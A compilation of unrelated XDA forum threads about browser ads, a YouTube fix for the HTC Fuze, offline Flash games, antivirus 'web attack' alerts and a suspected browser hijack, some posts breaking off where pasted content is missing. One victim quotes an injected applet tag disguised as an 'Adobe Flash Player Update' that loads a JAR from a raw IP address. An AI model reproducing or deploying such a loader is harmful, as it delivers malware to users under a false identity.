How do i turn off the stupid commercials? - Thunderbolt General

I I just recently totally reformatted my hard drive because I thought I had a virus and couldn't find it. But after reinstalling everything and making sure that I didn't have anything I discovered that when I log into XDA and I stay on for some length of time all of a sudden I start getting commercials playing. How do I stop these?

Huh, I dont know what you are referring to. Screen shot perhaps? I assume whatever it is, it depends on flash and the easiest way is to disable flash. The browser I use lets you disable it per site or only enable when you click. I assume other browsers have something as an extension.

I dunno. I never have it happen on any other site. This is the only one. I don't see any ads. Its just audio. I've hunted it down and hunted it down but havent found where it is on here.

Weird. If you get something like firebug or http headers extensions on firefox, they will let you find out what external links are loading. If you can get me some sort of dump or screen shot, I can tell you what to block in your host file. Chrome has the developers tools that show the same stuff or Opera has Dragonfly, so whichever you use.
Opera though, you can right click on the page → content tab → edit site preferences → turn off plugins. That's what I do at least or disable them on all sites and enable when I need them, just for better security.
Pretty sure the other browsers have flashblock, but last I knew and don't quote me on it, flashblock runs the just for a moment before it shuts off the flash since it's an extension. If the flash happened to be malicious, that could possibly be bad. Just semi off topic, but just something that was true and may still be.
If you don't want to deal with all that, you can use my hosts file that I use on my desktop, it's smaller version of the one I use for mobile thats posted with a script to install/update it in the developer's section of the forum.
http://dl.dropbox.com/u/24904191/hosts-desktop
rename it "hosts" and stick it in C:\Windows\System32\drivers\etc\hosts on windows (must open notepad with admin privilages) or on linux/osx, it goes in /etc/hosts.
I wouldnt normally advocate for blocking ads on xda, but if they have anything that automatically plays audio, that draws the line for me.

It's just a blank white space for me, but if you add the following line to your host file, you wont see it anymore, since it's one of these:

Youtube on the Fuze [FIXED] By IRUS

Guys.. My youtube does not work normally. I can't play videos.. (it takes 2 minutes and ends up not even playing the video) it just won't. I've downloaded a cab someoneposted that would supposedly change my 3G speed to max and It still does not work. What should be done? should i re-install a rom? thanks
http://forum.xda-developers.com/attachment.php?attachmentid=135184&d=1228539093 (Download Link) It's a .cab
All Thanks to IRUS. Thank you very much
I read somewhere that if you open an internet connection, PIE, and minimize it and try to use youtube, it will eventually run. Try that. It was somewhere here on this forum. Next time, use search function.

thanks alot, but i've tried that before and it doesn't work.. it just goes "connecting" for a long period of time and my problem seems to be completely different from everyone elses in the previous youtube threads. i mean what is there left to do?
have you tried isolating the problem? Is it your connection, or youtube itself? Can you connect through wifi?

yep i've done it and thats why it kinda worries me. youtube doesn't even work through wifi.. it's obviously a connection problem
and through my normal 3G connection.. videos pop up quick when i search for them, it's the playing them part.. it seems like it idles for 3 minutes and ends up not playing it
well if they are showing up, but just not playing, more then likely its a issue with a registry setting. If it were the connection, you wouldnt be able to search and see the videos to choose. Do you have a reg edit prog?
EDIT: it may be specific to a youtube regedit, or it maybe be a more broader reg entry, does every other aspect of your prog/connections function as expected?

every thing on the application works as expected except for the youtube videos themselves (they wont play.. all i get is connecting.. and then an error at the end). i can edit the registry.. but what needs to be editted?
Here are a few I jotted down from my registry. These probably arent set for optimal performance, but they work for me. Make sure to backup your registry or make a note before you change any settings, in case you need to change them back. All of these values are DWORD vals, so if anything is missing create accordingly. This is one of the folders with youtube values that I found, there were a few more, but this was what i could copy down quickest on notepad. Keep in mind, not all of these settings have a relation to the connection. I just included them so you could check for congruence with yours. By the same token, the FilePath and Proxy Name were left out, because Filepath contained unreadable characters, and Proxyname was empty.

thanks alot NYC kid, you dont know how much i appreciate you taking the time to post all this information. let me donate you a cup of coffee
for the most part, the only difference i see is our DeviceSetting
mine is set at 65552
yours is set to 196624. ill change mine and see what happens. once again thanks
No Luck. Seems It's still the same -.-
anyone have any other ideas? should i change my rom?
Hey I actually have the same issue. I'm currently using ROMeOS² v1.40.1 19974.1.2.8|STABLE.
What I get is, searching for Youtube videos comes up quick. But when I hit to play one it just says "Connecting" for a long while. Then eventually says "Error Connection failed." With an ok button to press.
I also noticed that this happens to videos that usually exceed more than 2 minutes in length. For shorter videos the play time is ok. I just assumed this was normal for everyone and how the technology worked lol.

ah the only videos i've been able to play is in the seconds -.-. anything over a minute wont play. im sure its just some setting issue.. like a number needs to be changed somewhere
I am having the same problem, im wondering if it has something todo with buffering a certein % of the video before playing. Also i tried under wifi and it nothing would work including searching for videos but under everything works just not playing the video. I will look into this and report back

ok so i messed around with the defaultbuffertime and the other buffer and no luck but what i did notice is that for the proxyname that you said was empty is not empty for the fuze or at least not on my fuze. The filepath is "wireless.cingular.com:80" and when i deleted it and launched youtube then closed it and rechecked it came back so my guess is that it is hardcoded into the app which means we need a different version of the youtube app. this is just a guess
ok sooooo hear is the answer, i lowered the buffer and it made no difference until i replaced the youtube.exe and the vofltpd.dll and vomp4fr.dll not sure if the dll files really need to be repalced as i think its the youtube.exe that is the problem but once i replaced those files and open it i launched a 7min clip and it started playing in under 10sec but since the buffer was set at 1 which i think is 1sec i had to pause and wait for it to buffer but it came up right away. so i will make a cab and test to make sure and i will not change the buffer settings to see if it works give me about 10 mins then i will post cab. i just want to make sure it will overwrite
work like a charm i clicked on a 7:33 sec video and i started playing in less than 15 sec please report back to let me know if this is working for everyone else. this fix should only be for fuze owners or who are having the same problem
@ACMilan07 please attached this in first post and change title to fixed once others and yourself have confirmed that it is fixed

Hey irus, thanks for looking into the issue. I downloaded your .cab file but when I went to install it gives me the following error message:
"Installation was unsuccessful. The program or setting cannot be installed because it does not have sufficient system permissions."
Is there something I did wrong? Thanks again!

FroYo: Download + Play Flash Games?

We've always been able to download .swf flash game files, but with Flash 10.1 I was hoping we could put them on the sdcard and play offline.
Anyone know how to do this? (For cataloging / playing Flash games when there's no connection.)
HAH! Idea: what about storing an html page that just launches a SWF? What's the least amount of code in a page that would do that?

Hahaha funny you say this, I tried it earlier after reading your message and no go.
For starters, no way to access local file from native browser (others may support it but native doesn't).
Closest I could come was by selecting the html file with astro, then choosing to open it with "HTML Viewer" (built into astro I think?) but it didn't show the embedded flash object.
I think best way to achieve this would be an app that can read a directory on sdcard and generate the html to load into a webview. I was thinking about throwing something together real quick but haven't had time to look and see if something like it already exists.
Damn, that's too bad.
Yeah, I find it very odd that you can't browse local html files.
A long time ago (G1 days) I tried all sorts of //file:/// weird stuff (like Firefox does) and couldn't get anything to work. I can't believe there's no way to browse locally.
Try file explorer in market for local browser.... let me know if it works lol

Web Attacks from Advertisers?

No sooner did I open the Inspire 4G page on my PC when Norton 360 notifies me that I'm getting a "web attack" from "www.zarbellot.com/6545S5/53Z355" (212.95.55.179, 80)
The first alert was named "Web Attack: Exploit Kit Variant Activity"
The second alert was named "Web Attack: Malicious Toolkit Webside 8"
Get rid of Norton. Problem solved.
Honestly though, I have no idea what you're talking about.
I have Norton as well, and NEVER that kind of message. Looks like ur system is already infected, and is peeking out when u access this page.
By the way, I am not sure there are ads on this site in the first place. I don't remember ever seeing one. And I don't see any cross site scripting either.
@rotchcrocket04: OOPS about that thanks.
Edit:
All the hosts I see on the HTC Inspire 4G page are:

If anything, OP should run Malwarebytes.
OP: follow my link below, download it, UPDATE it, run Full Scan. Should take around or over an hour. Delete anything it may find. Let us know what happens.

As expected, nothing found in 367397 objects except for a single "false positive" in HKCU for start_showhelp.
The "attack" was external, not from anything on this PC. It's a corporate computer, so it isn't used to view any "questionable" web content.

Plenty of ads from our favorites: zedo.com, doubleclick.net, atdmt.com, etc. (visible with IE, FF, and chrome)
The most insidious ones are sitting between thread replies, and they disable the mouse-wheel scroll function when you mouse-over the ad.

A lot of them are "flash" based (the animated ones), so if you don't have flash on your PC, that's probably why you can't see em. I've got Firefox on this PC, but that still shows ads.

New internet virus - very dangerous

My firefox suddently started opening a popup asking what to do with a "frame.html" file from http://188.126.79.73
after opening the frame.html file here is it`s source:
Code:
<applet width='10' name='Adobe Flash Player Update' height='11' code='FlashPlayer.class' archive='http://188.126.79.73/FlashPlayer.jar'>
I believe this is a virus. EVERY firefox tab I have open produces one of those popups asking if I want to open with or save the frame.html file. If I refresh a tab it produces a new popup of the same type. This is a bad virus, really bad. I don`t have any clues on how to stop it from harassing my firefox. it seems to use some ICAP stuff to blow every firefox tab. I need some help here.
I'd reinstall Firefox and Flash before jumping to any conclusions. It may just be a bug. You could try running a couple of scans to be on the safe side. Malwarebytes and HijackThis will find anything nasty.
already did that, the website which it`s redirecting to download that "update" is not from adobe, so it's a virus... I just don't know how to clean it because it has infected all my firefox.

Hello. Have you tried to uninstall and reinstall ff? yes you probably have...
Have you tried a restore point?
imo,humbly, If its as bad as you may think, and no scans are finding it, then you may have to go through your RegKeys and google them to locate anything uncommon.
I hope your wrong about it alltogether though!
good luck

no, I'm not wrong, I have AVIRA antivirus always on and update, I've tried that malware software which was suggested, both don't find anything, but now I just tried to access my router setup and I can't!!!! it says timeout, which is impossible. So what I have found out is that this virus put a layer between firefox and the webadress, like a proxy or something, probably some stuff called ICAP which I don't know what it is... and I don't know how to remove. All my address are being redirected... I get the webpage loaded but with this damn window "applet.html" which is the virus...
idk if you speak about phone or pc..
this will for sure work on pc, ,idk about phone..
find combofix from google..
it is free
be careful about the name as there are counterfeits
it Will fix browser probs where MWB and everything else ive ever seen fail..
after reseting my router everything went back to normal. Is there any virus which infects a router?
B4 doing something potentially damaging to a system...
Do a whois for that ip address. You will see that this ip address is a vpn service. Which means redirects are expected. Now did you install or configure any vpn recently? Try to disable it and see if you still get the popups. relax mate.

if it was a vpn problem it would only happen in my pc, but was happening in every pc in the house. After rebooting the router the problem solved. Which I can only assume that my router was compromised.

[Q] XDA homepage is looking weird.

Hi, I have been getting this 'weird look' for the XDA-developer (dot) com homepage. I tried both (the latest stable) chrome and (latest stable) firefox. It has been like this for about a week now. All other pages (portal, forum, wiki, etc) look normal but just the homepage is seemingly broken.
The moment I signed up to answer the question, the homepage is back to normal now. It is now back to normal on firefox too.
What freakish sorcery is this? My intention with this query is more of curiosity. Why does this happen? It is also happening with the dell.com (worldwide) website. What is technically (possibly) going wrong behind the scenes here?
Thanks in advance. :good:
I have the same issue. I don't know about Firefox, but on chrome you just have to click the shield icon in the address bar and click on whatever option comes up there (I can't remember exactly what it says but it should be fairly obvious) and it should sort refresh the page in the correct layout. Annoyingly, AFAIK you're going to have to do this every time you visit the portal.

I haven't been getting this issue, but I've seen it before.
I'm not a web developer, but maybe CSS style information not loading correctly ?
When I get this issue, refreshing the page usually works for me. I get it when our connection lags, too - and doesn't load everything (er, I think that's what's going on, anyway).
That fixed the error!

+1, I think it may be something to do with one of the plugins I have installed, since on another laptop on chrome there seems to be no issue.

You were right. Its being caused by the 'HTTPS Everywhere' extension. When I disable, it, the page loads correctly. I had that installed on my firefox too. I hope XDA soon moves their complete website to HTTPS. The extension doesn't seem to have any settings where I can acknowledge an exception.
